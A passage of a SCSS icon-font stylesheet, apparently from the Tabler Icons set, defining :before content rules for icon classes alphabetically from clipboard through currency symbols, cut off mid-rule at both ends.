$ti-icon-clipboard-heart;\n}\n\n.#{$ti-prefix}-clipboard-list:before {\n  content: $ti-icon-clipboard-list;\n}\n\n.#{$ti-prefix}-clipboard-off:before {\n  content: $ti-icon-clipboard-off;\n}\n\n.#{$ti-prefix}-clipboard-plus:before {\n  content: $ti-icon-clipboard-plus;\n}\n\n.#{$ti-prefix}-clipboard-smile:before {\n  content: $ti-icon-clipboard-smile;\n}\n\n.#{$ti-prefix}-clipboard-text:before {\n  content: $ti-icon-clipboard-text;\n}\n\n.#{$ti-prefix}-clipboard-typography:before {\n  content: $ti-icon-clipboard-typography;\n}\n\n.#{$ti-prefix}-clipboard-x:before {\n  content: $ti-icon-clipboard-x;\n}\n\n.#{$ti-prefix}-clock:before {\n  content: $ti-icon-clock;\n}\n\n.#{$ti-prefix}-clock-12:before {\n  content: $ti-icon-clock-12;\n}\n\n.#{$ti-prefix}-clock-2:before {\n  content: $ti-icon-clock-2;\n}\n\n.#{$ti-prefix}-clock-24:before {\n  content: $ti-icon-clock-24;\n}\n\n.#{$ti-prefix}-clock-bolt:before {\n  content: $ti-icon-clock-bolt;\n}\n\n.#{$ti-prefix}-clock-cancel:before {\n  content: $ti-icon-clock-cancel;\n}\n\n.#{$ti-prefix}-clock-check:before {\n  content: $ti-icon-clock-check;\n}\n\n.#{$ti-prefix}-clock-code:before {\n  content: $ti-icon-clock-code;\n}\n\n.#{$ti-prefix}-clock-cog:before {\n  content: $ti-icon-clock-cog;\n}\n\n.#{$ti-prefix}-clock-dollar:before {\n  content: $ti-icon-clock-dollar;\n}\n\n.#{$ti-prefix}-clock-down:before {\n  content: $ti-icon-clock-down;\n}\n\n.#{$ti-prefix}-clock-edit:before {\n  content: $ti-icon-clock-edit;\n}\n\n.#{$ti-prefix}-clock-exclamation:before {\n  content: $ti-icon-clock-exclamation;\n}\n\n.#{$ti-prefix}-clock-filled:before {\n  content: $ti-icon-clock-filled;\n}\n\n.#{$ti-prefix}-clock-heart:before {\n  content: $ti-icon-clock-heart;\n}\n\n.#{$ti-prefix}-clock-hour-1:before {\n  content: $ti-icon-clock-hour-1;\n}\n\n.#{$ti-prefix}-clock-hour-1-filled:before {\n  content: $ti-icon-clock-hour-1-filled;\n}\n\n.#{$ti-prefix}-clock-hour-10:before {\n  content: $ti-icon-clock-hour-10;\n}\n\n.#{$ti-prefix}-clock-hour-10-filled:before {\n  content: $ti-icon-clock-hour-10-filled;\n}\n\n.#{$ti-prefix}-clock-hour-11:before {\n  content: $ti-icon-clock-hour-11;\n}\n\n.#{$ti-prefix}-clock-hour-11-filled:before {\n  content: $ti-icon-clock-hour-11-filled;\n}\n\n.#{$ti-prefix}-clock-hour-12:before {\n  content: $ti-icon-clock-hour-12;\n}\n\n.#{$ti-prefix}-clock-hour-12-filled:before {\n  content: $ti-icon-clock-hour-12-filled;\n}\n\n.#{$ti-prefix}-clock-hour-2:before {\n  content: $ti-icon-clock-hour-2;\n}\n\n.#{$ti-prefix}-clock-hour-2-filled:before {\n  content: $ti-icon-clock-hour-2-filled;\n}\n\n.#{$ti-prefix}-clock-hour-3:before {\n  content: $ti-icon-clock-hour-3;\n}\n\n.#{$ti-prefix}-clock-hour-3-filled:before {\n  content: $ti-icon-clock-hour-3-filled;\n}\n\n.#{$ti-prefix}-clock-hour-4:before {\n  content: $ti-icon-clock-hour-4;\n}\n\n.#{$ti-prefix}-clock-hour-4-filled:before {\n  content: $ti-icon-clock-hour-4-filled;\n}\n\n.#{$ti-prefix}-clock-hour-5:before {\n  content: $ti-icon-clock-hour-5;\n}\n\n.#{$ti-prefix}-clock-hour-5-filled:before {\n  content: $ti-icon-clock-hour-5-filled;\n}\n\n.#{$ti-prefix}-clock-hour-6:before {\n  content: $ti-icon-clock-hour-6;\n}\n\n.#{$ti-prefix}-clock-hour-6-filled:before {\n  content: $ti-icon-clock-hour-6-filled;\n}\n\n.#{$ti-prefix}-clock-hour-7:before {\n  content: $ti-icon-clock-hour-7;\n}\n\n.#{$ti-prefix}-clock-hour-7-filled:before {\n  content: $ti-icon-clock-hour-7-filled;\n}\n\n.#{$ti-prefix}-clock-hour-8:before {\n  content: $ti-icon-clock-hour-8;\n}\n\n.#{$ti-prefix}-clock-hour-8-filled:before {\n  content: $ti-icon-clock-hour-8-filled;\n}\n\n.#{$ti-prefix}-clock-hour-9:before {\n  content: $ti-icon-clock-hour-9;\n}\n\n.#{$ti-prefix}-clock-hour-9-filled:before {\n  content: $ti-icon-clock-hour-9-filled;\n}\n\n.#{$ti-prefix}-clock-minus:before {\n  content: $ti-icon-clock-minus;\n}\n\n.#{$ti-prefix}-clock-off:before {\n  content: $ti-icon-clock-off;\n}\n\n.#{$ti-prefix}-clock-pause:before {\n  content: $ti-icon-clock-pause;\n}\n\n.#{$ti-prefix}-clock-pin:before {\n  content: $ti-icon-clock-pin;\n}\n\n.#{$ti-prefix}-clock-play:before {\n  content: $ti-icon-clock-play;\n}\n\n.#{$ti-prefix}-clock-plus:before {\n  content: $ti-icon-clock-plus;\n}\n\n.#{$ti-prefix}-clock-question:before {\n  content: $ti-icon-clock-question;\n}\n\n.#{$ti-prefix}-clock-record:before {\n  content: $ti-icon-clock-record;\n}\n\n.#{$ti-prefix}-clock-search:before {\n  content: $ti-icon-clock-search;\n}\n\n.#{$ti-prefix}-clock-share:before {\n  content: $ti-icon-clock-share;\n}\n\n.#{$ti-prefix}-clock-shield:before {\n  content: $ti-icon-clock-shield;\n}\n\n.#{$ti-prefix}-clock-star:before {\n  content: $ti-icon-clock-star;\n}\n\n.#{$ti-prefix}-clock-stop:before {\n  content: $ti-icon-clock-stop;\n}\n\n.#{$ti-prefix}-clock-up:before {\n  content: $ti-icon-clock-up;\n}\n\n.#{$ti-prefix}-clock-x:before {\n  content: $ti-icon-clock-x;\n}\n\n.#{$ti-prefix}-clothes-rack:before {\n  content: $ti-icon-clothes-rack;\n}\n\n.#{$ti-prefix}-clothes-rack-off:before {\n  content: $ti-icon-clothes-rack-off;\n}\n\n.#{$ti-prefix}-cloud:before {\n  content: $ti-icon-cloud;\n}\n\n.#{$ti-prefix}-cloud-bolt:before {\n  content: $ti-icon-cloud-bolt;\n}\n\n.#{$ti-prefix}-cloud-cancel:before {\n  content: $ti-icon-cloud-cancel;\n}\n\n.#{$ti-prefix}-cloud-check:before {\n  content: $ti-icon-cloud-check;\n}\n\n.#{$ti-prefix}-cloud-code:before {\n  content: $ti-icon-cloud-code;\n}\n\n.#{$ti-prefix}-cloud-cog:before {\n  content: $ti-icon-cloud-cog;\n}\n\n.#{$ti-prefix}-cloud-computing:before {\n  content: $ti-icon-cloud-computing;\n}\n\n.#{$ti-prefix}-cloud-data-connection:before {\n  content: $ti-icon-cloud-data-connection;\n}\n\n.#{$ti-prefix}-cloud-dollar:before {\n  content: $ti-icon-cloud-dollar;\n}\n\n.#{$ti-prefix}-cloud-down:before {\n  content: $ti-icon-cloud-down;\n}\n\n.#{$ti-prefix}-cloud-download:before {\n  content: $ti-icon-cloud-download;\n}\n\n.#{$ti-prefix}-cloud-exclamation:before {\n  content: $ti-icon-cloud-exclamation;\n}\n\n.#{$ti-prefix}-cloud-filled:before {\n  content: $ti-icon-cloud-filled;\n}\n\n.#{$ti-prefix}-cloud-fog:before {\n  content: $ti-icon-cloud-fog;\n}\n\n.#{$ti-prefix}-cloud-heart:before {\n  content: $ti-icon-cloud-heart;\n}\n\n.#{$ti-prefix}-cloud-lock:before {\n  content: $ti-icon-cloud-lock;\n}\n\n.#{$ti-prefix}-cloud-lock-open:before {\n  content: $ti-icon-cloud-lock-open;\n}\n\n.#{$ti-prefix}-cloud-minus:before {\n  content: $ti-icon-cloud-minus;\n}\n\n.#{$ti-prefix}-cloud-network:before {\n  content: $ti-icon-cloud-network;\n}\n\n.#{$ti-prefix}-cloud-off:before {\n  content: $ti-icon-cloud-off;\n}\n\n.#{$ti-prefix}-cloud-pause:before {\n  content: $ti-icon-cloud-pause;\n}\n\n.#{$ti-prefix}-cloud-pin:before {\n  content: $ti-icon-cloud-pin;\n}\n\n.#{$ti-prefix}-cloud-plus:before {\n  content: $ti-icon-cloud-plus;\n}\n\n.#{$ti-prefix}-cloud-question:before {\n  content: $ti-icon-cloud-question;\n}\n\n.#{$ti-prefix}-cloud-rain:before {\n  content: $ti-icon-cloud-rain;\n}\n\n.#{$ti-prefix}-cloud-search:before {\n  content: $ti-icon-cloud-search;\n}\n\n.#{$ti-prefix}-cloud-share:before {\n  content: $ti-icon-cloud-share;\n}\n\n.#{$ti-prefix}-cloud-snow:before {\n  content: $ti-icon-cloud-snow;\n}\n\n.#{$ti-prefix}-cloud-star:before {\n  content: $ti-icon-cloud-star;\n}\n\n.#{$ti-prefix}-cloud-storm:before {\n  content: $ti-icon-cloud-storm;\n}\n\n.#{$ti-prefix}-cloud-up:before {\n  content: $ti-icon-cloud-up;\n}\n\n.#{$ti-prefix}-cloud-upload:before {\n  content: $ti-icon-cloud-upload;\n}\n\n.#{$ti-prefix}-cloud-x:before {\n  content: $ti-icon-cloud-x;\n}\n\n.#{$ti-prefix}-clover:before {\n  content: $ti-icon-clover;\n}\n\n.#{$ti-prefix}-clover-2:before {\n  content: $ti-icon-clover-2;\n}\n\n.#{$ti-prefix}-clubs:before {\n  content: $ti-icon-clubs;\n}\n\n.#{$ti-prefix}-clubs-filled:before {\n  content: $ti-icon-clubs-filled;\n}\n\n.#{$ti-prefix}-code:before {\n  content: $ti-icon-code;\n}\n\n.#{$ti-prefix}-code-asterisk:before {\n  content: $ti-icon-code-asterisk;\n}\n\n.#{$ti-prefix}-code-circle:before {\n  content: $ti-icon-code-circle;\n}\n\n.#{$ti-prefix}-code-circle-2:before {\n  content: $ti-icon-code-circle-2;\n}\n\n.#{$ti-prefix}-code-dots:before {\n  content: $ti-icon-code-dots;\n}\n\n.#{$ti-prefix}-code-minus:before {\n  content: $ti-icon-code-minus;\n}\n\n.#{$ti-prefix}-code-off:before {\n  content: $ti-icon-code-off;\n}\n\n.#{$ti-prefix}-code-plus:before {\n  content: $ti-icon-code-plus;\n}\n\n.#{$ti-prefix}-coffee:before {\n  content: $ti-icon-coffee;\n}\n\n.#{$ti-prefix}-coffee-off:before {\n  content: $ti-icon-coffee-off;\n}\n\n.#{$ti-prefix}-coffin:before {\n  content: $ti-icon-coffin;\n}\n\n.#{$ti-prefix}-coin:before {\n  content: $ti-icon-coin;\n}\n\n.#{$ti-prefix}-coin-bitcoin:before {\n  content: $ti-icon-coin-bitcoin;\n}\n\n.#{$ti-prefix}-coin-bitcoin-filled:before {\n  content: $ti-icon-coin-bitcoin-filled;\n}\n\n.#{$ti-prefix}-coin-euro:before {\n  content: $ti-icon-coin-euro;\n}\n\n.#{$ti-prefix}-coin-euro-filled:before {\n  content: $ti-icon-coin-euro-filled;\n}\n\n.#{$ti-prefix}-coin-filled:before {\n  content: $ti-icon-coin-filled;\n}\n\n.#{$ti-prefix}-coin-monero:before {\n  content: $ti-icon-coin-monero;\n}\n\n.#{$ti-prefix}-coin-monero-filled:before {\n  content: $ti-icon-coin-monero-filled;\n}\n\n.#{$ti-prefix}-coin-off:before {\n  content: $ti-icon-coin-off;\n}\n\n.#{$ti-prefix}-coin-pound:before {\n  content: $ti-icon-coin-pound;\n}\n\n.#{$ti-prefix}-coin-pound-filled:before {\n  content: $ti-icon-coin-pound-filled;\n}\n\n.#{$ti-prefix}-coin-rupee:before {\n  content: $ti-icon-coin-rupee;\n}\n\n.#{$ti-prefix}-coin-rupee-filled:before {\n  content: $ti-icon-coin-rupee-filled;\n}\n\n.#{$ti-prefix}-coin-taka:before {\n  content: $ti-icon-coin-taka;\n}\n\n.#{$ti-prefix}-coin-taka-filled:before {\n  content: $ti-icon-coin-taka-filled;\n}\n\n.#{$ti-prefix}-coin-yen:before {\n  content: $ti-icon-coin-yen;\n}\n\n.#{$ti-prefix}-coin-yen-filled:before {\n  content: $ti-icon-coin-yen-filled;\n}\n\n.#{$ti-prefix}-coin-yuan:before {\n  content: $ti-icon-coin-yuan;\n}\n\n.#{$ti-prefix}-coin-yuan-filled:before {\n  content: $ti-icon-coin-yuan-filled;\n}\n\n.#{$ti-prefix}-coins:before {\n  content: $ti-icon-coins;\n}\n\n.#{$ti-prefix}-color-filter:before {\n  content: $ti-icon-color-filter;\n}\n\n.#{$ti-prefix}-color-picker:before {\n  content: $ti-icon-color-picker;\n}\n\n.#{$ti-prefix}-color-picker-off:before {\n  content: $ti-icon-color-picker-off;\n}\n\n.#{$ti-prefix}-color-swatch:before {\n  content: $ti-icon-color-swatch;\n}\n\n.#{$ti-prefix}-color-swatch-off:before {\n  content: $ti-icon-color-swatch-off;\n}\n\n.#{$ti-prefix}-column-insert-left:before {\n  content: $ti-icon-column-insert-left;\n}\n\n.#{$ti-prefix}-column-insert-right:before {\n  content: $ti-icon-column-insert-right;\n}\n\n.#{$ti-prefix}-column-remove:before {\n  content: $ti-icon-column-remove;\n}\n\n.#{$ti-prefix}-columns:before {\n  content: $ti-icon-columns;\n}\n\n.#{$ti-prefix}-columns-1:before {\n  content: $ti-icon-columns-1;\n}\n\n.#{$ti-prefix}-columns-2:before {\n  content: $ti-icon-columns-2;\n}\n\n.#{$ti-prefix}-columns-3:before {\n  content: $ti-icon-columns-3;\n}\n\n.#{$ti-prefix}-columns-off:before {\n  content: $ti-icon-columns-off;\n}\n\n.#{$ti-prefix}-comet:before {\n  content: $ti-icon-comet;\n}\n\n.#{$ti-prefix}-command:before {\n  content: $ti-icon-command;\n}\n\n.#{$ti-prefix}-command-off:before {\n  content: $ti-icon-command-off;\n}\n\n.#{$ti-prefix}-compass:before {\n  content: $ti-icon-compass;\n}\n\n.#{$ti-prefix}-compass-filled:before {\n  content: $ti-icon-compass-filled;\n}\n\n.#{$ti-prefix}-compass-off:before {\n  content: $ti-icon-compass-off;\n}\n\n.#{$ti-prefix}-components:before {\n  content: $ti-icon-components;\n}\n\n.#{$ti-prefix}-components-off:before {\n  content: $ti-icon-components-off;\n}\n\n.#{$ti-prefix}-cone:before {\n  content: $ti-icon-cone;\n}\n\n.#{$ti-prefix}-cone-2:before {\n  content: $ti-icon-cone-2;\n}\n\n.#{$ti-prefix}-cone-2-filled:before {\n  content: $ti-icon-cone-2-filled;\n}\n\n.#{$ti-prefix}-cone-filled:before {\n  content: $ti-icon-cone-filled;\n}\n\n.#{$ti-prefix}-cone-off:before {\n  content: $ti-icon-cone-off;\n}\n\n.#{$ti-prefix}-cone-plus:before {\n  content: $ti-icon-cone-plus;\n}\n\n.#{$ti-prefix}-confetti:before {\n  content: $ti-icon-confetti;\n}\n\n.#{$ti-prefix}-confetti-off:before {\n  content: $ti-icon-confetti-off;\n}\n\n.#{$ti-prefix}-confucius:before {\n  content: $ti-icon-confucius;\n}\n\n.#{$ti-prefix}-container:before {\n  content: $ti-icon-container;\n}\n\n.#{$ti-prefix}-container-off:before {\n  content: $ti-icon-container-off;\n}\n\n.#{$ti-prefix}-contrast:before {\n  content: $ti-icon-contrast;\n}\n\n.#{$ti-prefix}-contrast-2:before {\n  content: $ti-icon-contrast-2;\n}\n\n.#{$ti-prefix}-contrast-2-filled:before {\n  content: $ti-icon-contrast-2-filled;\n}\n\n.#{$ti-prefix}-contrast-2-off:before {\n  content: $ti-icon-contrast-2-off;\n}\n\n.#{$ti-prefix}-contrast-filled:before {\n  content: $ti-icon-contrast-filled;\n}\n\n.#{$ti-prefix}-contrast-off:before {\n  content: $ti-icon-contrast-off;\n}\n\n.#{$ti-prefix}-cooker:before {\n  content: $ti-icon-cooker;\n}\n\n.#{$ti-prefix}-cookie:before {\n  content: $ti-icon-cookie;\n}\n\n.#{$ti-prefix}-cookie-filled:before {\n  content: $ti-icon-cookie-filled;\n}\n\n.#{$ti-prefix}-cookie-man:before {\n  content: $ti-icon-cookie-man;\n}\n\n.#{$ti-prefix}-cookie-man-filled:before {\n  content: $ti-icon-cookie-man-filled;\n}\n\n.#{$ti-prefix}-cookie-off:before {\n  content: $ti-icon-cookie-off;\n}\n\n.#{$ti-prefix}-copy:before {\n  content: $ti-icon-copy;\n}\n\n.#{$ti-prefix}-copy-check:before {\n  content: $ti-icon-copy-check;\n}\n\n.#{$ti-prefix}-copy-check-filled:before {\n  content: $ti-icon-copy-check-filled;\n}\n\n.#{$ti-prefix}-copy-minus:before {\n  content: $ti-icon-copy-minus;\n}\n\n.#{$ti-prefix}-copy-minus-filled:before {\n  content: $ti-icon-copy-minus-filled;\n}\n\n.#{$ti-prefix}-copy-off:before {\n  content: $ti-icon-copy-off;\n}\n\n.#{$ti-prefix}-copy-plus:before {\n  content: $ti-icon-copy-plus;\n}\n\n.#{$ti-prefix}-copy-plus-filled:before {\n  content: $ti-icon-copy-plus-filled;\n}\n\n.#{$ti-prefix}-copy-x:before {\n  content: $ti-icon-copy-x;\n}\n\n.#{$ti-prefix}-copy-x-filled:before {\n  content: $ti-icon-copy-x-filled;\n}\n\n.#{$ti-prefix}-copyleft:before {\n  content: $ti-icon-copyleft;\n}\n\n.#{$ti-prefix}-copyleft-filled:before {\n  content: $ti-icon-copyleft-filled;\n}\n\n.#{$ti-prefix}-copyleft-off:before {\n  content: $ti-icon-copyleft-off;\n}\n\n.#{$ti-prefix}-copyright:before {\n  content: $ti-icon-copyright;\n}\n\n.#{$ti-prefix}-copyright-filled:before {\n  content: $ti-icon-copyright-filled;\n}\n\n.#{$ti-prefix}-copyright-off:before {\n  content: $ti-icon-copyright-off;\n}\n\n.#{$ti-prefix}-corner-down-left:before {\n  content: $ti-icon-corner-down-left;\n}\n\n.#{$ti-prefix}-corner-down-left-double:before {\n  content: $ti-icon-corner-down-left-double;\n}\n\n.#{$ti-prefix}-corner-down-right:before {\n  content: $ti-icon-corner-down-right;\n}\n\n.#{$ti-prefix}-corner-down-right-double:before {\n  content: $ti-icon-corner-down-right-double;\n}\n\n.#{$ti-prefix}-corner-left-down:before {\n  content: $ti-icon-corner-left-down;\n}\n\n.#{$ti-prefix}-corner-left-down-double:before {\n  content: $ti-icon-corner-left-down-double;\n}\n\n.#{$ti-prefix}-corner-left-up:before {\n  content: $ti-icon-corner-left-up;\n}\n\n.#{$ti-prefix}-corner-left-up-double:before {\n  content: $ti-icon-corner-left-up-double;\n}\n\n.#{$ti-prefix}-corner-right-down:before {\n  content: $ti-icon-corner-right-down;\n}\n\n.#{$ti-prefix}-corner-right-down-double:before {\n  content: $ti-icon-corner-right-down-double;\n}\n\n.#{$ti-prefix}-corner-right-up:before {\n  content: $ti-icon-corner-right-up;\n}\n\n.#{$ti-prefix}-corner-right-up-double:before {\n  content: $ti-icon-corner-right-up-double;\n}\n\n.#{$ti-prefix}-corner-up-left:before {\n  content: $ti-icon-corner-up-left;\n}\n\n.#{$ti-prefix}-corner-up-left-double:before {\n  content: $ti-icon-corner-up-left-double;\n}\n\n.#{$ti-prefix}-corner-up-right:before {\n  content: $ti-icon-corner-up-right;\n}\n\n.#{$ti-prefix}-corner-up-right-double:before {\n  content: $ti-icon-corner-up-right-double;\n}\n\n.#{$ti-prefix}-cpu:before {\n  content: $ti-icon-cpu;\n}\n\n.#{$ti-prefix}-cpu-2:before {\n  content: $ti-icon-cpu-2;\n}\n\n.#{$ti-prefix}-cpu-off:before {\n  content: $ti-icon-cpu-off;\n}\n\n.#{$ti-prefix}-crane:before {\n  content: $ti-icon-crane;\n}\n\n.#{$ti-prefix}-crane-off:before {\n  content: $ti-icon-crane-off;\n}\n\n.#{$ti-prefix}-creative-commons:before {\n  content: $ti-icon-creative-commons;\n}\n\n.#{$ti-prefix}-creative-commons-by:before {\n  content: $ti-icon-creative-commons-by;\n}\n\n.#{$ti-prefix}-creative-commons-nc:before {\n  content: $ti-icon-creative-commons-nc;\n}\n\n.#{$ti-prefix}-creative-commons-nd:before {\n  content: $ti-icon-creative-commons-nd;\n}\n\n.#{$ti-prefix}-creative-commons-off:before {\n  content: $ti-icon-creative-commons-off;\n}\n\n.#{$ti-prefix}-creative-commons-sa:before {\n  content: $ti-icon-creative-commons-sa;\n}\n\n.#{$ti-prefix}-creative-commons-zero:before {\n  content: $ti-icon-creative-commons-zero;\n}\n\n.#{$ti-prefix}-credit-card:before {\n  content: $ti-icon-credit-card;\n}\n\n.#{$ti-prefix}-credit-card-filled:before {\n  content: $ti-icon-credit-card-filled;\n}\n\n.#{$ti-prefix}-credit-card-off:before {\n  content: $ti-icon-credit-card-off;\n}\n\n.#{$ti-prefix}-credit-card-pay:before {\n  content: $ti-icon-credit-card-pay;\n}\n\n.#{$ti-prefix}-credit-card-refund:before {\n  content: $ti-icon-credit-card-refund;\n}\n\n.#{$ti-prefix}-cricket:before {\n  content: $ti-icon-cricket;\n}\n\n.#{$ti-prefix}-crop:before {\n  content: $ti-icon-crop;\n}\n\n.#{$ti-prefix}-crop-1-1:before {\n  content: $ti-icon-crop-1-1;\n}\n\n.#{$ti-prefix}-crop-1-1-filled:before {\n  content: $ti-icon-crop-1-1-filled;\n}\n\n.#{$ti-prefix}-crop-16-9:before {\n  content: $ti-icon-crop-16-9;\n}\n\n.#{$ti-prefix}-crop-16-9-filled:before {\n  content: $ti-icon-crop-16-9-filled;\n}\n\n.#{$ti-prefix}-crop-3-2:before {\n  content: $ti-icon-crop-3-2;\n}\n\n.#{$ti-prefix}-crop-3-2-filled:before {\n  content: $ti-icon-crop-3-2-filled;\n}\n\n.#{$ti-prefix}-crop-5-4:before {\n  content: $ti-icon-crop-5-4;\n}\n\n.#{$ti-prefix}-crop-5-4-filled:before {\n  content: $ti-icon-crop-5-4-filled;\n}\n\n.#{$ti-prefix}-crop-7-5:before {\n  content: $ti-icon-crop-7-5;\n}\n\n.#{$ti-prefix}-crop-7-5-filled:before {\n  content: $ti-icon-crop-7-5-filled;\n}\n\n.#{$ti-prefix}-crop-landscape:before {\n  content: $ti-icon-crop-landscape;\n}\n\n.#{$ti-prefix}-crop-landscape-filled:before {\n  content: $ti-icon-crop-landscape-filled;\n}\n\n.#{$ti-prefix}-crop-portrait:before {\n  content: $ti-icon-crop-portrait;\n}\n\n.#{$ti-prefix}-crop-portrait-filled:before {\n  content: $ti-icon-crop-portrait-filled;\n}\n\n.#{$ti-prefix}-cross:before {\n  content: $ti-icon-cross;\n}\n\n.#{$ti-prefix}-cross-filled:before {\n  content: $ti-icon-cross-filled;\n}\n\n.#{$ti-prefix}-cross-off:before {\n  content: $ti-icon-cross-off;\n}\n\n.#{$ti-prefix}-crosshair:before {\n  content: $ti-icon-crosshair;\n}\n\n.#{$ti-prefix}-crown:before {\n  content: $ti-icon-crown;\n}\n\n.#{$ti-prefix}-crown-off:before {\n  content: $ti-icon-crown-off;\n}\n\n.#{$ti-prefix}-crutches:before {\n  content: $ti-icon-crutches;\n}\n\n.#{$ti-prefix}-crutches-off:before {\n  content: $ti-icon-crutches-off;\n}\n\n.#{$ti-prefix}-crystal-ball:before {\n  content: $ti-icon-crystal-ball;\n}\n\n.#{$ti-prefix}-csv:before {\n  content: $ti-icon-csv;\n}\n\n.#{$ti-prefix}-cube:before {\n  content: $ti-icon-cube;\n}\n\n.#{$ti-prefix}-cube-3d-sphere:before {\n  content: $ti-icon-cube-3d-sphere;\n}\n\n.#{$ti-prefix}-cube-3d-sphere-off:before {\n  content: $ti-icon-cube-3d-sphere-off;\n}\n\n.#{$ti-prefix}-cube-off:before {\n  content: $ti-icon-cube-off;\n}\n\n.#{$ti-prefix}-cube-plus:before {\n  content: $ti-icon-cube-plus;\n}\n\n.#{$ti-prefix}-cube-send:before {\n  content: $ti-icon-cube-send;\n}\n\n.#{$ti-prefix}-cube-unfolded:before {\n  content: $ti-icon-cube-unfolded;\n}\n\n.#{$ti-prefix}-cup:before {\n  content: $ti-icon-cup;\n}\n\n.#{$ti-prefix}-cup-off:before {\n  content: $ti-icon-cup-off;\n}\n\n.#{$ti-prefix}-curling:before {\n  content: $ti-icon-curling;\n}\n\n.#{$ti-prefix}-curly-loop:before {\n  content: $ti-icon-curly-loop;\n}\n\n.#{$ti-prefix}-currency:before {\n  content: $ti-icon-currency;\n}\n\n.#{$ti-prefix}-currency-afghani:before {\n  content: $ti-icon-currency-afghani;\n}\n\n.#{$ti-prefix}-currency-bahraini:before {\n  content: $ti-icon-currency-bahraini;\n}\n\n.#{$ti-prefix}-currency-baht:before {\n  content: $ti-icon-currency-baht;\n}\n\n.#{$ti-prefix}-currency-bitcoin:before {\n  content: $ti-icon-currency-bitcoin;\n}\n\n.#{$ti-prefix}-currency-cent:before {\n  content: $ti-icon-currency-cent;\n}\n\n.#{$ti-prefix}-currency-dinar:before {\n  content: $ti-icon-currency-dinar;\n}\n\n.#{$ti-prefix}-currency-dirham:before {\n  content: $ti-icon-currency-dirham;\n}\n\n.#{$ti-prefix}-currency-dogecoin:before {\n  content: $ti-icon-currency-dogecoin;\n}\n\n.#{$ti-prefix}-currency-dollar:before {\n  content: $ti-icon-currency-dollar;\n}\n\n.#{$ti-prefix}-currency-dollar-australian:before {\n  content: $ti-icon-currency-dollar-australian;\n}\n\n.#{$ti-prefix}-currency-dollar-brunei:before {\n  content: $ti-icon-currency-dollar-brunei;\n}\n\n.#{$ti-prefix}-currency-dollar-canadian:before {\n  content: $ti-icon-currency-dollar-canadian;\n}\n\n.#{$ti-prefix}-currency-dollar-guyanese:before {\n  content: $ti-icon-currency-dollar-guyanese;\n}\n\n.#{$ti-prefix}-currency-dollar-off:before {\n  content: $ti-icon-currency-dollar-off;\n}\n\n.#{$ti-prefix}-currency-dollar-singapore:before {\n  content: $ti-icon-currency-dollar-singapore;\n}\n\n.#{$ti-prefix}-currency-dollar-zimbabwean:before {\n  content: $ti-icon-currency-dollar-zimbabwean;\n}\n\n.#{$ti-prefix}-currency-dong:before {\n  content: $ti-icon-currency-dong;\n}\n\n.#{$ti-prefix}-currency-dram:before {\n  content: $ti-icon-currency-dram;\n}\n\n.#{$ti-prefix}-currency-ethereum:before {\n  content: $ti-icon-currency-ethereum;\n}\n\n.#{$ti-prefix}-currency-euro:before {\n  content: $ti-icon-currency-euro;\n}\n\n.#{$ti-prefix}-currency-euro-off:before {\n  content: $ti-icon-currency-euro-off;\n}\n\n.#{$ti-prefix}-currency-florin:before {\n  content: $ti-icon-currency-florin;\n}\n\n.#{$ti-prefix}-currency-forint:before {\n  content: $ti-icon-currency-forint;\n}\n\n.#{$ti-prefix}-currency-frank:before {\n  content: $ti-icon-currency-frank;\n}\n\n.#{$ti-prefix}-currency-guarani:before {\n  content: $ti-icon-currency-guarani;\n}\n\n.#{$ti-prefix}-currency-hryvnia:before {\n  content: $ti-icon-currency-hryvnia;\n}\n\n.#{$ti-prefix}-currency-iranian-rial:before {\n  content: $ti-icon-currency-iranian-rial;\n}\n\n.#{$ti-prefix}-currency-kip:before {\n  content: $ti-icon-currency-kip;\n}\n\n.#{$ti-prefix}-currency-krone-czech:before {\n  content: $ti-icon-currency-krone-czech;\n}\n\n.#{$ti-prefix}-currency-krone-danish:before {\n  content: $ti-icon-currency-krone-danish;\n}\n\n.#{$ti-prefix}-currency-krone-swedish:before {\n  content: $ti-icon-currency-krone-swedish;\n}\n\n.#{$ti-prefix}-currency-lari:before {\n  content: $ti-icon-currency-lari;\n}\n\n.#{$ti-prefix}-currency-leu:before {\n  content: $ti-icon-currency-leu;\n}\n\n.#{$ti-prefix}-currency-lira:before {\n  content: $ti-icon-currency-lira;\n}\n\n.#{$ti-prefix}-currency-litecoin:before {\n  content: $ti-icon-currency-litecoin;\n}\n\n.#{$ti-prefix}-currency-lyd:before {\n  content: $ti-icon-currency-lyd;\n}\n\n.#{$ti-prefix}-currency-manat:before {\n  content: $ti-icon-currency-manat;\n}\n\n.#{$ti-prefix}-currency-monero:before {\n  content: $ti-icon-currency-monero;\n}\n\n.#{$ti-prefix}-currency-naira:before {\n  content: $ti-icon-currency-naira;\n}\n\n.#{$ti-prefix}-currency-nano:before {\n  content: $ti-icon-currency-nano;\n}\n\n.#{$ti-prefix}-currency-off:before {\n  content: $ti-icon-currency-off;\n}\n\n.#{$ti-prefix}-currency-paanga:before {\n  content: $ti-icon-currency-paanga;\n}\n\n.#{$ti-prefix}-currency-peso:before {\n  content: $ti-icon-currency-peso;\n}\n\n.#{$ti-prefix}-currency-pound:before {\n  content: $ti-icon-currency-pound;\n}\n\n.#{$ti-prefix}-currency-pound-off:before {\n  content: $ti-icon-currency-pound-off;\n}\n\n.#{$ti-prefix}-currency-quetzal:before {\n  content: $ti-icon-currency-quetzal;\n}\n\n.#{$ti-prefix}-currency-real:before {\n  content: $ti-icon-currency-real;\n}\n\n.#{$ti-prefix}-currency-renminbi:before {\n  content: $ti-icon-currency-renminbi;\n}\n\n.#{$ti-prefix}-currency-ripple:before {\n  content: $ti-icon-currency-ripple;\n}\n\n.#{$ti-prefix}-currency-riyal:before {\n  content: $ti-icon-currency-riyal;\n}\n\n.#{$ti-prefix}-currency-rubel:before {\n  content: $ti-icon-currency-rubel;\n}\n\n.#{$ti-prefix}-currency-rufiyaa:before {\n  content: $ti-icon-currency-rufiyaa;\n}\n\n.#{$ti-prefix}-currency-rupee:before {\n  content: $ti-icon-currency-rupee;\n}\n\n.#{$ti-prefix}-currency-rupee-nepalese:before {\n  content: $ti-icon-currency-rupee-nepalese;\n}\n\n.#{$ti-prefix}-currency-shekel:before {\n  content: $ti-icon-currency-shekel;\n}\n\n.#{$ti-prefix}-currency-solana:before {\n  content: $ti-icon-currency-solana;\n}\n\n.#{$ti-prefix}-currency-som:before {\n  content: $ti-icon-currency-som;\n}\n\n.#{$ti-prefix}-currency-taka:before {\n  content: $ti-icon-currency-taka;\n}\n\n.#{$ti-prefix}-currency-tenge:before {\n  content: $ti-icon-currency-tenge;\n}\n\n.#{$ti-prefix}-currency-tugrik:before {\n  content: 